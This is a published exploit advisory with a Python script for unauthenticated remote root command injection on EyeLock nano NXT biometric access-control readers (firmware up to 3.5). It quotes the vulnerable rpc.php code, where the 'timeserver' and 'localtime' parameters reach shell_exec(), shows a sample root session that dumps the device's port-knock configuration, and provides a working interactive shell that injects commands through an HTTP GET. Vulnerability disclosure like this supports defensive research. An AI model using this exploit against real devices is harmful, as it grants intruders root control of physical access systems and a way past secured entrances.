EyeLock nano NXT 3.5 Remote Root

2016.08.10
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

i>>?#!/usr/bin/env python # # # EyeLock nano NXT 3.5 Remote Root Exploit # # # Vendor: EyeLock, LLC # Product web page: http://www.eyelock.com # Affected version: NXT Firmware: 3.05.1193 (ICM: 3.5.1) # NXT Firmware: 3.04.1108 (ICM: 3.4.13) # NXT Firmware: 3.03.944 (ICM: 3.3.2) # NXT Firmware: 3.01.646 (ICM: 3.1.13) # # Platform: Hardware (Biometric Iris Reader (master)) # # EyeLock is an advanced iris authentication and recognition solutions company # focused on developing next-generation systems for global access control and identity # management. # # Summary: nano NXTA(r) - the next generation of EyeLockas revolutionary access # control solutions. nano NXT renders all other access control peripherals # obsolete by revolutionizing how identities are protected, authenticated, # and managed. With a sleek low profile and powerful capabilities, the nano # NXT redefines the future of access control. An optional SDK is available # to customers who want to customize their security solutions to integrate # seamlessly with existing applications. The nano NXT authenticates up to 20 # people per minute, in-motion and at-a-distance with unparalleled accuracy. # nano NXT can be used in a variety of environments including commercial/enterprise, # corrections, data centers, education, financial services, government, healthcare # facilities and hospitality. # # Nano NXT is the most advanced compact iris-based identity authentication device # in Eyelock's comprehensive suite of end-to-end identity authentication solutions. # Nano NXT is a miniaturized iris-based recognition system capable of providing # real-time identification, both in-motion and at a distance. The Nano NXT is an # ideal replacement for card-based systems, and seamlessly controls access to turnstiles, # secured entrances, server rooms and any other physical space. Similarly the device # is powerful and compact enough to secure high-value transactions, critical databases, # network workstations or any other information system. # # Desc: EyeLock's nano NXT firmware latest version 3.5 (released 25.07.2016) suffers # from multiple unauthenticated command injection vulnerabilities. The issue lies # within the 'rpc.php' script located in the '/scripts' directory and can be triggered # when user supplied input is not correctly sanitized while updating the local time for # the device and/or get info from remote time server. The vulnerable script has two REQUEST # parameters 'timeserver' and 'localtime' that are called within a shell_exec() function # for setting the local time and the hardware clock of the device. An attacker can exploit # these conditions gaining full system (root) access and execute OS commands on the affected # device by injecting special characters to the affected parameters and further bypass # the access control in place. # # Hint: Plenty other RCE bugs are present in the rpc.php and others (like: uploadCertificate.php, # upgrade.php, WebConfig.php, firmwareupdate.php, interfaceeditor.php, etc.) # # ============================================================================= # /scripts/rpc.php: # ----------------- # 9: if (isset($_REQUEST['action'])) # 10: { # 11: switch($_REQUEST['action']) # ... # ... # 181: case 'updatetime': # 182: { # 183: // do something, the put our response in the response field... # 184: $strDate = shell_exec("rdate -s {$_REQUEST['timeserver']} 2>&1"); # 185: # 186: // set the hardware clock. # 187: $strResult = shell_exec("/sbin/hwclock -w"); // Does no harm to call this even on failure... # 188: # 189: $strtheDate = shell_exec("date 2>&1"); # 190: # 191: echo "updatetime|{$strDate}|{$strtheDate}"; # 192: # 193: break; # 194: } # 195: # 196: case 'updatelocaltime': # 197: { # 198: // do something, the put our response in the response field... # 199: $strDate = shell_exec("date -s '{$_REQUEST['localtime']}' 2>&1"); # 200: # 201: // set the hardware clock # 202: $strResult = shell_exec("/sbin/hwclock -w"); // Does no harm to call this even on failure... # 203: # 204: $strtheDate = shell_exec("date 2>&1"); # 205: # 206: echo "updatelocaltime|{$strDate}|{$strtheDate}"; # 207: # 208: break; # 209: } # ============================================================================= # # ----------------------------------------------------------------------------- # Master: 192.168.40.1 # Slave: 192.168.40.2 # # $ eyelock.py 192.168.40.1 # # root@192.168.40.1:~# id # uid=0(root) gid=0(root) # # root@192.168.40.1:~# cat /home/root/knockd.conf # [options] # logfile = /var/log/knockd.log # # [openSSH] # sequence = 1973,1975,2013 # seq_timeout = 15 # command = /usr/sbin/iptables -D INPUT -p tcp --dport 22 -j DROP # tcpflags = syn # # [closeSSH] # sequence = 91,85,70 # seq_timeout = 5 # command = /usr/sbin/iptables -A INPUT -p tcp --dport 22 -j DROP # tcpflags = syn # # # root@192.168.40.1:~# exit # # $ # ----------------------------------------------------------------------------- # # # Tested on: GNU/Linux (armv7l) # lighttpd/1.4.35 # SQLite/3.8.7.2 # PHP/5.6.6 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2016-5357 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5357.php # # # 10.06.2016 # import re,sys,os import requests piton = os.path.basename(sys.argv[0]) print ''' --------------------------------------------------------- EyeLock nano NXT <=3.5 [Open Sesame] Remote Root Exploit Zero Science Lab - http://zeroscience.mk ZSL-2016-5357 --------------------------------------------------------- ''' if len(sys.argv) < 2: print '\n\x20\x20[*] Usage: '+piton+' <ipaddress>\n' sys.exit() ipaddr = sys.argv[1] print while True: try: cmd = raw_input('root@'+ipaddr+':~# ') # http://EyelockNxtMasterIP/scripts/rpc.php?action=updatelocaltime&localtime=%26whoami%26 execute = requests.get('http://'+ipaddr+'/scripts/rpc.php?action=updatetime&timeserver=||'+cmd) pattern = re.compile(r'updatetime\|(.*?)\|',re.S|re.M) cmdout = pattern.match(execute.text) print cmdout.groups()[0].strip() print if cmd.strip() == 'exit': break except Exception: break sys.exit()


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